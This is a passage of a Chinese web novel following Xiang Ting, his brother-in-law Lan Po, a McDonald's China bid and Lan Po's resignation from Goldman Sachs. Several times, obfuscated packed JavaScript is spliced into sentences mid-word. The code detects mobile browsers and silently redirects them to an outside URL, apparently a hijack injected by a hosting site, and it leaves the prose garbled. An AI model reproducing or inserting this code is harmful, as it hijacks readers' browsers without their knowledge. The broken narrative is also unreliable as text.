姐夫把自己晾在一边,跟女下属打情骂俏,项廷忍不了了。 “嗯?”蓝珀有一点猫眼,睁圆了的时候,眼尾也是提着的。 “好久不见…”项廷老实巴交地说,“我找了你很久。” “哦!我们之中有谁不知道这一点吗?” “你一点没变。”项廷有点紧张。 “是吧!除了那几根新长的白头发。” 这天有种聊得下去又聊不下去的感觉。项廷吃力地找话:“你觉得,能成吗?” 蓝珀反应了一下是什么事似的:“瓦克恩?他欠我好多钱呢,你还能不成功吗?” “他好像吊着我了。” “啊啊,那可能是因为你把自己吹得太凶了吧,他得花点时间来看看你到底是不是真的有八只眼睛或者三头六臂。” “也没很凶吧……” “也没很凶是有多凶?”蓝珀愉快地一笑。 “……孙权每次打仗还都说自己有十万大军。” 蓝珀被逗笑了,于是就十分大度地帮项廷开开窍,和沙曼莎说:“这位小帅哥刚刚和瓦克恩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398234|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推销东西,结果没搞定。你分析分析,可能是哪里出了问题?” 沙曼莎一句中文都听不懂,本来被排除在聊天之外,现在突然被拉进来,不爽,但感觉又得完成老板布置的那个商务情景模拟作业。她观察项廷,剑眉星目、英气逼人的一个少年,不知为何在蓝珀面前就粗粗笨笨像个棒槌了。 沙曼莎说:“你八成觉得死缠烂打,客户就会买下你的产品。但这招不常灵,要是真灵了,客户最后一定也会后悔。其实卖东西最厉害的人,是让客户发现自己放着钱不赚。蓝,他每次进门做的第一件事就是向所有人展示他不会受任何人摆布的表情。” 蓝珀:“工作时间禁止诋毁上司。” 沙曼莎送他白眼,眼线要飞出脸外:“你就是用这副臭脸,就算对着客户读一个小时的电话簿,他们也会认真地听下去。” 蓝珀:“好啦,别总拿我说事,还有呢?” 沙曼莎瞥了一眼项廷不大合身的西装,说:“还有——工作时间,永远用最上等的派头示人。” 蓝珀说:“别这么严格。你记得吗?十八岁的你还在给家里的保镖、园丁和女佣卖香草冰水呢。而他,今天能鼓起勇气一个人过来,已经很了不起了。” 叮的一声,电梯终于到了一楼。金童玉女似的两个人走出去,徒留项廷在原地。 过去的一个月里,项廷设想过无数种可能性。更衣室里,他对蓝珀的所有怒气发泄完了,对蓝珀的厌恶也被冲刷得干干净净,不管重逢之后,蓝珀对他开出什么样天价的罚单,他都照单全收了,如此,良心才会好受。说好的一打一真男人,可现在这算什么?你凝视深渊的时候,算了,深渊放过你?这么久来他夜不能寐,都快悟出了释迦摩尼的微言大义,多么可笑的心事,竟然只剩他一个人还在苦苦坚持?还是说,蓝珀被别人也上过很多次,不在乎他一个?再多一个怎么了?项廷心里乱成一团,他不清楚,但他绝对不想要这个温柔得叫人听了想流泪,善言结善缘的蓝珀。这个蓝珀是假的,假的!项廷此时只想被那个真的骂上一骂,踢上一脚,被蓝珀就像以前那样,更变本加厉地骑在他头上。 一阵阵寒风扫过街道,扬起团团尘埃,项廷奔向路边那辆郁金香色的豪车。 隔着车窗玻璃,项廷饱含情感地盯着他,希望从蓝珀的脸上找到一些答案。 蓝珀似乎看穿了他的心事,悠悠地说:“你这么看一天也没用。” 降下车窗,蓝珀想了想:“对了,瓦克恩是一个非常注重商誉的企业家。换句话说,他真的很爱作秀,装点他的面子工程呢。小孙仲谋,想想看,怎么把他架上去,你就能化腐朽为神奇了。” 蓝珀张嘴闭嘴就是生意经,好像一切都只是项廷一厢情愿的一场春/梦。在当上爸爸的第一天,被自己的妻弟强/奸了,是个有血有肉的人都会发疯的吧?又或者现在全是表象,蓝珀的伪装全是自我开脱的借口? 总之项廷听得上不来气:“说点你该说的话。” 蓝珀似乎让了步:“那你凑过来一点。” 项廷俯了俯身,但他站着,蓝珀坐在车里,再低一点,他就会像一只伏首贴耳扒着车门的流浪狗。 蓝珀却捏住了他的领带尖,手就像卷起一朵花苞那样一折一折地卷上去,以此将项廷轻轻地拽了下来。 蓝珀把他原先的领结解开,让较长的一端优雅地垂于右侧,将长端从下方穿过与短端交汇形成的X型结,再从上方穿回,形成一个精致的环路。轻盈地打了一个半温莎结,蓝珀一边继续调整领结的形状,一边说:“记住了,生意场上人靠衣装。你得穿得光鲜,但是脸上的表情一定要尽可能地简约,千万别让人一眼就猜到你心里在想什么,更别像今天,像个疯子对我大呼小叫。” “是你该正常点,适可而止吧?蓝珀,你到底在想什么?” “等你哪天能读懂我的心思了,瓦克恩对你来说就是小意思了。”蓝珀舒眉,莞然一笑,“比如此刻,你猜我是想请你喝咖啡,还是想把你告到法院去,或者——” 他的话未完,两人的距离太近了,他美得人难受。项廷以为自己坚强的个性迟早总会战胜丑恶的□□,可是人的阈值一旦被填满就是会不断往下探的。好几次项廷以为他要往下说了,他欲言又止。蓝珀的唇会做假动作,就像他其实从不抽烟,烟一入口,就呼出来,不会过肺。 项廷像个蜡像伫在那,他站的位置旁边是个消防栓。 然后他听见了仿佛春雪溶泻般的轻笑:“或许,我只是想亲亲你?” 停车太久,警察过来奖励了一张罚单。蓝珀说手酸,让项廷代劳,他说:“在这里签名,用力一点。” 项廷翻到第三联继续签的时候,蓝珀又问他:“说亲了你两下你就受不了了?” 项廷攥着笔,直视他:“你拿我当什么了?” “你拿我当什么,我就拿你当什么。”蓝珀说这句话的时候,正用固体胶棒涂着罚单的背面。罚单贴到了项廷的额头上,蓝珀把四个角各摁了几下确定不会被风刮跑了,他这才天外飞仙似的,绝尘而去了。 48. 解铃还须系铃人 美国和加拿大的行车罚单其实都不是罚单,是法院的传票,罚款呢,就叫保释金。有人喊冤,真的就上法庭去一争曲直。这种违章停车案子,往往只有被告在场,原告,也就是开罚单的警察,绝大多数时候不会露面。美国警察不分交警刑警,任务多,假期更多,开庭那天极有可能在休假,或者住得太远干脆不来。然后被告赌神发咒说我没错,那法官也没办法,原告都不在呢,只好判被告赢,于是钱就不用交了。 这个漏洞被中国人壮大成了一项支柱产业,唐人街的律师专精打这种交通官司,保释金本来一百,当庭无罪释放还倒赔二百五的经常有之,胜诉率将近百分之百。 项廷把罚单从脸上拿下来,那背面写着他可以选择由法官、陪审团审判,或者参加驾驶课程,项廷毅然决然地勾上了交钱那项。 蓝珀开车跟他做人一样,很不着调(他为了随地停车还搞了一张残疾人证夹在雨刷器上),两年间保费已经暴涨了五次,违规点数短期累计到了会被吊销驾照的边缘,所以保释金高得吓人。 即便如此,项廷还是想给他交钱。 很不聪明,可是安慰了项廷的良心,好像他终于为了蓝珀做了一点什么似的,尽管自知远不够补偿他的十万分之一。 蓝珀的车消失的拐角,有一棵开到尽头的桃树,车子扬起的风过去,一树浓烈的胭脂,难知去处。几片花瓣掉在喷泉池里,项廷走到那儿,掬了一捧水,洗掉脸上的固体胶。 洗干净脸,看到一辆林肯上下来个凯林,他像在球场上昂首挺胸、装腔作势地大步走的样子,脚后跟几乎不碰到地面,踩着红毯去参加他的生日派对。但是没见到凯林到了入口处,突然就大发雷霆甩手走人了。群星荟萃的夜晚,阵容里必然有白谟玺,项廷还与白谟玺的老爹打了个照面。项廷莫名感觉很不舒服,脑子都没想明白为啥不舒服,第六感似乎就先告诉他了。回头再看一下,白韦德手上托着个猴/脑做的碗?进去化缘吗? 项廷坐上公交车,去银行取钱,去法院交钱。从法院出来,项廷这下真的一身轻了。一个晚上两头跑,几乎穿梭了整个纽约,他该累得够呛,可到了美国以来,他还从没有过今夜这样散一散步的心情。 而且男生变成男人以后,人生就变天了,觉得世界上的人都变了。在街上见到一个人猛地就会想,他晚上会做那件事,好像看到了人的另外一面。项廷避过几天世,可有次大白天出门,从第五大道向下城走,慢慢安静了。建筑庞大笔直,填充着阳光、天色、流云,无数幻象,然而那墙身的“之”字防火梯,竟像钉在万丈砖石上的黑色蕾丝。项廷闭上双眼头也不敢回地快步走了,一天比一天更觉有负于蓝珀了。 平心而论,纽约是一座到处是电影场景的城市。喧嚣的警笛、喷射状的摇滚乐、傲慢的星条旗无处不在,项廷从公交车下来时,他开始相信这是仅有的现实比明信片更鲜艳的地方。穿过华盛顿广场,走上麦克杜格尔街,咖啡馆在放一首《暴雨将至》。走过几个路口,有的街只在夜晚苏醒,有的只在戏里活着。樱桃巷剧院正在经历一次散场,一对对舞者别过身去,一起撞屁股,海报上映着米莱的诗:我不在乎走哪条路,也不在乎它通向何方。然后他走进《教/父》的街,像年轻的罗伯特·德尼罗,走在烟火的世相。在昆士区小意大利,他看见一支蜡烛在圣血教堂点燃,偶尔搂一耳朵路人的话,有人在51号桑树街上玩角色扮演:我会给他一个无法拒绝的条件。 一句话把项廷拽回了现实。是啊,他也该腮帮子塞两颗橄榄,像斗牛犬一样不好惹,给瓦克恩一个无法拒绝的条件,轻取麦当劳中国,自此扬名立万席卷八荒,真能这样就好了!做着白日梦,两名黑人保安恍然出现,以歌吟的方式清场,宣告:“大教堂关闭了,大教堂关闭了。”唱和,回声不绝,萦绕,“大教堂关闭了……” 被驱逐的项廷双手插在口袋里,戴着兜帽,低头,一路继续向北。北边的天空酝酿了一场阵雨,雨水向着低处爬行而去。项廷踩到一个坏掉的井盖,一脚陷进去差点拔不出来。项廷搬了块石头给它堵上,弯腰的时候,发现上面的涂鸦也在嘲笑他,写着,在这个国家每一座城市的每一条街,都会有一个无名之徒梦想着出人头地。你被冻死在一条繁华街道的正中,没有一个人会注意到。 修好了井盖,项廷就站在这个坑洼的地方淋雨立誓,要是炸鸡汉堡这条路走不通,他就转型去当黑/手/党大佬。一个大男人就该不择一切手段,他的钱包必须鼓起来。因为,他还想给蓝珀交钱。 看一眼教堂的大钟,晚上九点了,时间不允许他再看风景。 姐姐和小侄子的飞机,十点半到达肯尼迪国际机场。 雨越下越大,随着十点半的逼近,项廷也更像一条落水狗了。他在前面跑,雨在后面追。项廷从泼天的雨水和罪恶感中幸存下来,进了候机楼,这才发现手机贴着腿,震了很久了。 他直觉瓦克恩打来的,这一通电话,将决定他未来十年的命运。项廷室外跑完了,室内又跑,他光速找了一个还算安静的角落,手太潮了,摁了好几次按键才接通。 瓦克恩那头比机场还闹腾,吵得一震一震的,感觉不像派对,像暴乱。 不妨着瓦克恩稳坐钓鱼台的语气:“董事会看了你的企划案,都觉得太有实验色彩了。不过,我还是力保了一个参与投标的名额。下周四,你将与三家企业公平竞争。好好准备,希望你拿出最棒的表现。” 项廷大喜过望,可是当他听到三个对手的名号时,是个人都得抽一口冷气。尽是国内的餐饮巨头要和麦当劳开合资企业,不仅有北京的,深圳、上海都虎视眈眈得很,项廷真不是想到第一口吃这螃蟹的人,人家早就遥遥领先,都布局了好几年了!能带你一个门外汉玩么?汤都喝不上! 没等项廷震惊完,瓦克恩还说:“可能和你想得不大一样,你与蓝的关系,在我这里是严重的减分项。从公司的角度看,与一个投资人亲上加亲,很多决策将变得微妙而复杂。而且就我个人,蓝是一个魅力非凡的人,他很有趣,非常优秀,但有点怪,虽然他在华尔街有公认的任性的权利,但他总是吸被投公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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瓦克恩笑意更深:“我亦将这句话奉为圭臬。所以当我用了一个局长的名字,告诉你她只是行政主管,你却忙不迭地自报家门,说出一个我们闻所未闻的局/长——你的姑姑的时候,我没有当众拆穿你的聪明反被聪明误。反之,我很欣赏你。你让我想到了我自己,当年我初到曼哈顿,既没有钱,也没有雇员,但是只要走进客户的办公室,我就会表现得好像自己背后有一个大集团,就和你一模一样。就试着去利用可利用的一切,相信人定胜天吧。” 项廷不屑笑了:“拉倒吧!你没明说,因为当时你也被我唬住了,你自己都快怀疑上自己了。” “也许吧,毕竟你有蓝这样一位传奇色彩的亲戚。”瓦克恩将雪茄丢进烟灰缸,念了念蓝珀的名字,蓝珀,没有间隔号的停顿,烟雾抒情似的绕指,“替我搞定他。” “无论如何,今后一年将是很有意思的一年。”瓦克恩放下空酒杯,屈指在杯身一叩,“Cheers,为我们的合作,旗开得胜。” 49. 任岁月笑我痴狂 挂了电话。 项廷有点高兴,他终于又有了去找蓝珀的正当理由;又有点绝望,不要说每天都会有无数个人跟蓝珀套近乎,蓝珀可是连瓦克恩都搞不定的人,那自己一个戴罪之人去搞他,还有半点戏吗? (……) 项廷换位思考,换作受害者是自己的话,那必不亚于杀父之仇,不共戴天。所以眼下的局势不就相当于,陶谦去求曹操退兵徐州,蓝珀不糊自己个大耳光才怪啊。他满脑袋都是被蓝珀分尸的恐怖画面。 而且为什么非得是这个时候,半小时姐姐就到美国了,一大家子马上就要同处一个屋檐下了,这不是乱上添乱吗?就算再怎么做完坏事就演好人,姐夫也一定不会帮他。麦当劳的事成不了,一事无成的项廷,更没有脸见姐姐了。帮了更没脸,他赚钱难道全靠姐夫心软吗?这钱还赚它干嘛? 想到姐姐,项廷更感觉大梦一场了。 姐姐的这场婚姻,在全家人的眼里都是如此空心的形象。来之前,是因为亲朋好友一个个都没见过这位传说中的姐夫,眼睛一眨,电光火石项青云就是有夫之妇了。来之后,项廷更觉两人是如此之不搭,姐姐将门虎女,拥有旗人的血统,从来都是那种为国为民、大丈夫必有所为的。姐夫呢?他是躺在资本刮来的民脂民膏上作威作福的。算了,蓝珀和谁都不在同个时空,碰着谁都有壁。所以项廷每次叫一声姐夫,都感觉怪,很是违心。 现在好了,夫妻俩要鹊桥相会了,还带着一个真凭实据的孩子,不给项廷留一点逃跑的余地。遮羞的兜裆布就要被扯下了,最后那点幻想也不攻自破了。 幻想时间还有十五分钟。机场大屏上的航班信息,每更新一次,项廷的羞耻心就抽搐一下。他被莫大的罪恶感折磨了一个月,以为自己已是千锤百炼的强者,没想到真正的审判之日到来时,他还是只想掉头就跑。 老天听到了他的祈祷,广播说,航班晚点了。 原地等着太煎熬,项廷走向候机大厅的一家书店。门口的店员拦住他,让他注意一下仪表再进去。项廷对着角落的落地镜看了看,他浑身湿透了,半温莎结早就散了。项廷松了领结,自己重新系一个。对着镜子看看,忽然间他有些低落。不仅是自己认认真真打的结像红领巾,哪有蓝珀一口仙气儿吹就的完美无瑕,更是因为他知道,姐姐来了,姐夫再也不会亲手给他打领带了。他本不该拆的。 项廷脱了外套,又洗了手。进了书店,里头飘着淡淡的油墨香,项廷深吸一口努力放松。一柜子的书竟有中文的,红楼梦三个字很是醒目。项廷感觉很亲切取下来,谁知人一旦心脏了看什么都是脏的,他一翻就瞧见什么“爬/灰的爬/灰,养小叔子的养小叔子”。再翻,一眼猛地看到贾宝玉两个同学,一个叫做香怜,香得让人怜;一个叫玉爱,像玉一样的可爱。项廷像被开水烫了手,赶紧把书塞回去,拿了一本西方心理学的书一目十行。他宽慰自己人皆有爱美之心,想和漂亮的人亲近无可厚非,可是为什么在这活色生香的大纽约城,只让他忘不了的是蓝珀那张没有涂口红的小猫脸呢?而且,蓝珀的迷人是特别零乱的,他是沐浴在圣水中的魔鬼,他的美貌中似乎还有一种带来不幸的魔力。项廷甚至想,这样的人早成了家是好的,否则当红颜消褪、青春不再,他又何枝可依呢?不知从哪一天开始,他就对蓝珀充满了极其赘余的哀怜。一边延长着内心的辩论,项廷无意识中,又把红楼梦拿了下来。玉爱,玉是最容易碎的。香怜,古代说怜惜他就是心疼他,爱别人呢,就说怜。 脑子里轰一声,项廷就像只油锅,只差没有燃起来。 站这儿太久,碍到别人了,有人叫他让一让。项廷说了句抱歉,忙挪到旁边,撞着了一个小女孩。 这黑人小女孩十岁上下的模样,留着可爱的齐耳短发,一个冲天小辫竖立头顶,红围巾里插着一根绿羽毛。 女孩好像从他一进门就一直注视着他,于是项廷放下了手里的书,问道:“你有什么事情吗?” 女孩没有理他,抱了两本书就去柜台那儿排队了。付钱的时候,她掏了一整个存钱罐的硬币,还差着。后面的顾客一直催她,项廷便替她垫上了钱。 “翠贝卡,”女孩说了自己的名字,但是仰着脸说,“我不想欠你的钱。” “几块钱而已,不用还了。” “为什么?” 举手之劳,项廷又能为了什么呢。也可能是他意识到,人要多读书,要是他跟姐姐一样是大学教授,做事前就不会不想好自己的下场。项廷觉得小孩还来得及,自己已经废了,书现在看晚了,看不进去,一看就想到颜如玉。啊!年轻就一个不好,小小的烦恼,只要开头,就会疯长成比原来厉害无数倍的烦恼。 项廷要回去接着沉重地候机了,翠贝卡却叫住他:“但是我都欠你别的了!” 项廷疑惑地转过身,突然感觉小女孩有点眼熟。 翠贝卡说:“你也是刚刚从监狱里逃出来的吗?” 项廷弯下腰来看看她,这才想起,这不是自己第一天到美国那会儿,为了跟个妓女借电话,误打误撞撞破了一对同性恋办事儿,从那两变态屋里跑出来的小姑娘吗?因着项廷仗义行侠,警察局才成了妻弟与姐夫会面的第一站,要没蓝珀,项廷铁定要坐牢。 面熟的还不止一个翠贝卡,项廷瞧着嚼着口香糖的女收银员,怎么竟像那天路边揽客的妓女?店里正好换班,翠贝卡牵着下班的大姐姐过来。妓女叫嘉宝,她也没忘记项廷这张脸。于是一黑一白一黄,奇怪的组合一起走出了书店,打算找点夜宵吃,叙叙旧似的。 进了一家麦当劳。项廷端着餐盘走回来时,听到她俩的对话,加上路上聊的天,总结出来好像是翠贝卡那天是被人贩子拐走了,回家以后,也时不时来找嘉宝玩,就像今天。她找不到项廷,感情上嫁接了那天救命之恩一样。 好像没什么不对,项廷被说服了,主要是现在也没心情想人家闲事。他想找一隅清净把自己给埋了,话非常少,就几乎没有。 嘉宝逗他,他没听见。嘉宝就有些敏感,大口吸着可乐,说:“你可别爱答不理,姐姐是曼哈顿的门脸子,姐姐跟你一样大那会儿生意好的时候两腿一叉一天两三万呢!” 项廷都快忘了她的职业,想到什么说什么:“你不是……” 你不是在书店上班吗?他话到一半就发现冒犯了,不说了。 嘉宝说:“哎,那有什么!就算哪天我在飞机上上班了,业余时间照样干这行!你瞧瞧,时代广场、联合国大楼、华尔街那些写字楼里的婊子,比我还不要脸,谁没个灰色的过去?” 项廷更加沉默了。嘉宝开始跟翠贝卡聊她的指甲油,项廷也插不进去话。他吃着饭也能想到蓝珀吃饭,蓝珀猫一样,猫吃饭都是他那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398236|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样想起来了才吃两口。项廷觉得自己太发散了像疯了,不能就任由这种畸形的生态发展,出去透透雨后的空气,散着心,然后就在麦当劳门口的自动售货机买了一袋蓝莓糖,反应过来时什么都晚了。 回到座位,嘉宝正在桌子上码钱,说这顿饭我们AA,但是整钱破不开,得去银行换,很麻烦。 项廷说:“不用了,我请吧。” 嘉宝吃惊:“亲爱的,你这么有钱,怎么还不快点把我带走?” 项廷说:“是我有员工折扣。” 翠贝卡却说:“我知道怎么办,我们都不用花钱。” 只见翠贝卡跑到柜台那去,点了一杯咖啡。咖啡刚到手,她就洒了自己一身,在她的尖叫声惊动了全店人之前,店长出来华丽丽地免单了。翠贝卡带着一沓钱满载而归,嘉宝夸她夸得很大声,问她怎么办到的?翠贝卡骄傲地不说,项廷却知道怎么一回事。前阵子,一名老太被麦当劳咖啡烫伤,一烫致富,获赔290万美元。一般餐厅的咖啡都在70度以下,麦当劳的却有90度,只是为了咖啡闻起来香。赔了钱麦当劳还不改,但是对烫伤一类的事故很紧张,顾客一嚷嚷,麦当劳就大事化小,很好欺负。 项廷看着翠贝卡破破烂烂的衣服,心里很不好受,小小年纪就迫于生计学了这么多坑蒙拐骗的门道。但是自己又没实力帮她,给老赵的十万救命钱被偷走九万,他不敢跟老赵说,继续打肿脸充胖子往里打水漂似的扔钱,今天又给蓝珀交罚金,是义气了,是做了潇洒哥了,他现在也彻底一穷二白了。 项廷说了句这样不好,翠贝卡一个字都不听,项廷也就没那个资格再劝她学好了。项廷借着去洗手间的功夫,把钱还给店长,销一下翠贝卡的案底。蓦地转念一想,可自己的案底又怎么销呢?姐夫、姐姐这辈子还会原谅他吗?小侄子长大还会叫他一声舅舅吗?回到座位,其心已死。 角落里孤独的流浪汉、窗外打鼓的艺人、大笑出门的食客、车轮的呼声,嘉宝和翠贝卡说笑声极其之大,一切很吵又很安静。项廷注视着她俩,乍然感到一切是否是一场轮回。他来美国时第一天遇到了她们,今天上天便安排在自己想从美国落荒而逃的日子,她们就一并来送送他了,原来,最无情的纽约终仍是给了他一个最温情的有始有终。 项廷这么出着神,吵闹声渐行渐远。这时,手机又震动起来。 来自世界另一半球的消息,通知项廷的死刑被缓期了。死缓往往就是救活了,所以两个小姐妹只见项廷蹭一声站了起来。 姐姐说临时有事,还要晚一夜才能来。 项廷的心里开始猛烈地动荡了,姐姐说一夜,这好像是项廷祷告了千千万万遍、偷来的时间。一千零一夜,最后一夜了,偷来的一夜就能捉住半空中一缕脆弱彩虹吗?项廷不知道,但若要让他和蓝珀之间谱了一段旋律却没有句点,甚至来不及跟错误的爱做一个道别,如果这就是命运的答案,那他绝不接受。 有些地方明知一无所有了,可就是不死心想去看上最后一眼。 爱上一个人时一定做了不少傻事,就像项廷在这个偷来的雨夜一定要去找蓝珀,他太明白自己卑鄙苟且,却顾不得一切。翠贝卡看到他坚决地消失在夜幕中,可是不一会又气喘吁吁地跑了回来,嘉宝吃吃地笑他小小气气,笑他跑了半里地出去,回来,只为了顺走桌上没吃完的蓝莓糖。 50. 东风酿雪觉春迟 晚上十一点半钟,高盛合伙人办公室。 一纸辞呈奉上。 蓝珀说:“我已经追了你一整天了,这份辞职信只差你的一个签名,你就这样让我等。” 费曼说:“我没有同意过。” “那现在你说说吧——同意还是不同意?” “蓝,”费曼的脸似乎不像平时那样纳粹军纪官一样刻板,冰蓝的眼睛如同冬日的湖面,“如果你是我,你会怎么做?” “我不是你,也不可能是你。我只说说我是怎么看的。”蓝珀浮起一丝笑,“从如今的情况看,你完全没有选择的余地。” “我会不选。” “你总是不选,盼着所有事情迎刃而解。Your Majesty,你生来就是明哲保身的。” 费曼握着支铅笔,神情不属地在便签簿上写东西。蓝珀伸手在他脸前彩云般的挥一挥,费曼的眼睛也没有多眨。蓝珀探身把他的眼镜拿下来,小心地在自己鼻梁上架正。眼镜还是稍稍滑下来一点,蓝珀托着腮,看着他,说:“你的签名是我今天最渴望的东西,你不会让我伤心、失望的,对吧?” “瓦克恩那边如何了?”费曼平静地说,把手里的铅笔、几本蓝皮文件册和刚才乱涂的东西推在一边。 “他?想了个天马行空的点子,不过好像又出了点乱子。他现在左疯了,只要有镜头,他就会抱住我亲一口,因为我是个亚裔。”蓝珀幸灾乐祸地笑了,“坚定了我快点跑的决心。” 十天前,威斯康星州的一名黑人被警察从背后连开14枪后,当地掀起了声势浩大的抗议行动。行动开始的第一天就有了变味的迹象,很快演变成街头上的□□烧,大半个美国连带加拿大的秩序都被严重破坏。麦当劳的加盟商们发起的群诉,曾经是一场有明确诉求、较为“纯粹”的平权运动,现在也跟着这场风波愈演愈烈,是一点也压不住了。更糟的是,种族问题日益被工具化,成为尤其是大选年两党互相攻讦的武器。 费曼却说:“很快就会结束了。” 他将桌上的一份报纸递给蓝珀,上面是克里奥尔人(黑白混血的子女)分门别类地抨击各种黑人的一篇火爆大作。黑人里面分成各种品类,内战前获得解放的黑人跟内战后解放的黑奴后代不一样,非洲过来的黑人跟美国本土的黑人又有很大差别。1980年代后,美国移民口子放宽,全球留美拿绿卡的新中产移民自成一个比较高贵的体系,加勒比地区的黑人则在王座之上鄙视一切黑人。 蓝珀亮出一个so what的表情。 费曼说:“这篇文章并非真正由克里奥尔人撰写,它出自一位我们都认识的政治家之手,伯尼·蒂勒森。通过给这些弱势群体贴上标签,不停地分化底层黑人,让底层黑人互相内耗,履试不爽。伯尼已经进场,他懂得如何以最快的速度捞到最多的好处,然后立刻收场。等到这一次的平权运动平息后,麦当劳的股价自然会恢复。蓝,现在不是高盛清空股权退出的最好时机,也许你应该重新考虑一下这样的局面,不要研判商情失误。” 蓝珀笑道:“请问,如果按你的高论作进一步的推论,美国为什么还没有邀请你这个英国人来治国呢?” “或者请你谈谈,这笔交易究竟有什么地方使你不喜欢?” “你真是铁石心肠又听不懂人话。我说了,即便天底下没有比这更一本万利的事情了,我想退就退了,我才不在乎什么投资回报率,我巴不得干完这票就金盆洗手。”蓝珀的脸上看不到一点友好的表情了,“我受够了华尔街,受够了高盛,受够了特别是石油业的各大公司在银行董事会里密切合作串通一气。我说过一切都够了,你们却照样我行我素,继续玩弄这种近亲繁殖的手法:你上我的董事会来,我进你的董事会去。然后我就作为靶子,受到各个方面——国会、消费者、高盛自己的主顾、报界——的围攻,连篇累牍地指责我长期利用连锁董事会损害公众利益。还有我的上司,我早就厌倦了你,一点不错,而你呢,永远袖手旁观,也是咎由自取。” 一时间办公室里万籁俱静,沉默之中意蕴无穷。 终于,费曼说:“我记得,你劝过我加入买方。” 蓝珀已经收起了刚才的激动:“是的,我辞职后就干这个。” “我以为你会回家去。” “你比我还了解我吗?我能回哪里去?” “塞纳多,也可能是中国。” “No…”蓝珀摇了摇手指,用中文说,“水帘洞,或者高老庄。” 费曼的英式英语是那么典雅,他的中文竟也有皇室的味道,他笑着说:“盘丝洞,或者女儿国?” 蓝珀这会儿真被吓到了:“快给我住口!” 费曼拿回了他的铅笔,不再说了,好像刚才那个根本没有一点口音的中文不是从他嘴里发出来的。 蓝珀惊呆了:“你什么时候学的中文?我们有中国的客户吗?” 费曼只是说:“以后会有。” “你知道市场如此广大,你无法迎合每个客户吧?拼成这样子!为了一桩生意!” “为了一个人。” “为了我,那就放了我。我的飞机只剩两个小时就要起飞,你别签字了,你送送我。”蓝珀手指一勾,勾过来费曼放在桌上的车钥匙,用捂暖了的钥匙在费曼的掌心轻轻地划了一道,“真希望有一天,费曼,你我何时能到山中做神仙去?你说我们为什么不能在自己家里印钱呢?” “蓝,”费曼看着他,“这也许是你在纽约的最后一晚,和我推心置腹地说一会话吧。” “哦!我的哪句话不真了?我还没老成成那样。” “你要印钱,其实你一点也不爱财。” “大家都爱,我凭什么不爱?” “它对你没有用。”费曼说,“大学的时候,你和现代机械是死敌,没有手表,相机或录音机,不打伞。不用电脑,从来没有接近过文字处理器,学不会开车,没有换过保险丝,没有给任何一个教授发过电子邮件。你把电视上的所有按钮用胶带封住,这样你就只用操作开关和音量按钮了。” 蓝珀说:“你去问问沙曼莎,她太知道我多像个守财奴。” “因为你的钱都用来买银条、银币、银器。” “……我就是喜欢辟邪,世界上的邪啊魔啊的,怎么辟也辟不够,怎么了?” “我第一次见到你的时候,你只顾着与大自然融为一体。” 接着,蓝珀含着笑说了万分恐怖的一句话:“为什么不顺便回忆一下你在英国最后一次见到我的时候?” 费曼从未带他进入过宫廷,那春日的早晨,蓝珀却卧在花园迷宫的深处,露华琼珠盈脸,雪香微透轻纱,费曼从未摸到过那么冰凉的头发。 蓝珀把辞职信往前一推:“你还不签吗?那我干脆把那天多如牛毛的人和细节和盘托出吧!” 正在这时,办公室外传来一个声音:“蓝,你跟谁聊天笑那么开心?” 门上的牌子写着某某合伙人费曼的大名,白谟玺还要问一句。白谟玺刚从生日派对回来,没能如愿见到蓝珀,就往这找来了。 蓝珀没察觉自己笑了,正说到的事他本来无论如何也是笑不出来的:“我嘴巴都张不开吧,哪笑得开心了?” 白谟玺走进来,就站在两人中间办公桌附近的位置:“你的眼睛在笑。” 蓝珀做了个投降的动作:“对不起,牙齿和舌头有时还会咬着,在一起工作,哪会没有意见相左的时候。刚才我也说了一些好笑的气话,我的前上司,请你不必介意。” 白谟玺捕捉到了前这个字,被冲击得一脸问号:“你辞职了?” 头一回跟费曼站到一个阵线,把费曼当作了必须团结的对象,白谟玺转头就问他:“你答应了?” 蓝珀看了眼手表,起了身:“少说两句,我快赶不上飞机了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398237|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 白谟玺:“你要飞哪去?” 蓝珀:“地平线消失的地方。” “这么突然?” “是的,我决定消失。” “能不走吗?” “可以吧。”蓝珀说,“你有私人飞机吧?” “对啊,坐下来聊两句,要走也坐我的飞机。”白谟玺见有转机,抛了一个“你也说两句啊”的眼神给费曼。 